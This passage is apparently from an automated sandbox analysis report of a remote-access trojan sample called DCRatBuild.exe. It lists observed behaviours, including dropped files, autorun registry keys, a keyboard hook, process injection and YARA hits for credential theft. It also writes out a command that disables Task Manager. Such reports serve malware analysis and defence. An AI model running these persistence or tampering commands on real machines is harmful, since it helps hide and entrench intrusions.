GetDiskFreeSpaceExW Aug. 21, 2021, 4:15 a.m.	total_number_of_free_bytes: 10236018688 free_bytes_available: 10236018688 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0
GetDiskFreeSpaceExW Aug. 21, 2021, 4:16 a.m.	total_number_of_free_bytes: 10231754752 free_bytes_available: 10231754752 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Looks up the external IP address (1 event)

domain

ipinfo.io

Creates executable files on the filesystem (4 events)

file	C:\Users\test22\AppData\Roaming\Adobe\secur.exe
file	C:\Users\test22\AppData\Roaming\Adobe\rXFJKHUhhJYH.bat
file	C:\Users\test22\AppData\Local\Temp\59U2oN9mIe.bat
file	C:\Users\test22\AppData\Roaming\Adobe\8ZymEhuS91wN1CjUXL.vbe

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /C "C:\Users\test22\AppData\Local\Temp\59U2oN9mIe.bat"

Drops a binary and executes it (4 events)

file	C:\Users\test22\AppData\Roaming\Adobe\8ZymEhuS91wN1CjUXL.vbe
file	C:\Users\test22\AppData\Roaming\Adobe\rXFJKHUhhJYH.bat
file	C:\Users\test22\AppData\Roaming\Adobe\secur.exe
file	C:\Users\test22\AppData\Local\Temp\59U2oN9mIe.bat

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\Adobe\secur.exe

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 21, 2021, 4:22 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming/Adobe/rXFJKHUhhJYH.bat parameters: filepath: C:\Users\test22\AppData\Roaming\Adobe\rXFJKHUhhJYH.bat	1	1	0
ShellExecuteExW Aug. 21, 2021, 4:15 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\59U2oN9mIe.bat parameters: filepath: C:\Users\test22\AppData\Local\Temp\59U2oN9mIe.bat	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 21, 2021, 4:16 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 21, 2021, 4:15 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Aug. 21, 2021, 4:16 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (38 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
cmdline	chcp 65001

Installs itself for autorun at Windows startup (3 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\Windows\System32\hidserv\taskhost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit	reg_value	"C:\Windows\System32\NlsData004e\wininit.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\secur	reg_value	"C:\Users\test22\AppData\Roaming\Adobe\secur\secur.exe"

Disables Windows' Task Manager (1 event)

registry

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr

Creates a windows hook that monitors keyboard input (keylogger) (1 event)

Time & API	Arguments	Status	Return	Repeated
SetWindowsHookExW Aug. 21, 2021, 4:17 a.m.	thread_identifier: 0 callback_function: 0x00000000008e163c hook_identifier: 13 (WH_KEYBOARD_LL) module_address: 0x0000000000000000	1	589975	0

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	C:\Users\test22\AppData\Roaming\Adobe\rXFJKHUhhJYH.bat
parent_process	wscript.exe				martian_process	"C:\Users\test22\AppData\Roaming\Adobe\rXFJKHUhhJYH.bat"

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2480 resumed a thread in remote process 160
Process injection	Process 1520 resumed a thread in remote process 624
NtResumeThread Aug. 21, 2021, 4:22 a.m.	thread_handle: 0x000002f4 suspend_count: 1 process_identifier: 160	1	0	0
NtResumeThread Aug. 21, 2021, 4:16 a.m.	thread_handle: 0x000000000000000c suspend_count: 0 process_identifier: 624	1	0	0

The process wscript.exe wrote an executable file to disk (1 event)

file	C:\Windows\SysWOW64\wscript.exe

DCRatBuild.exe

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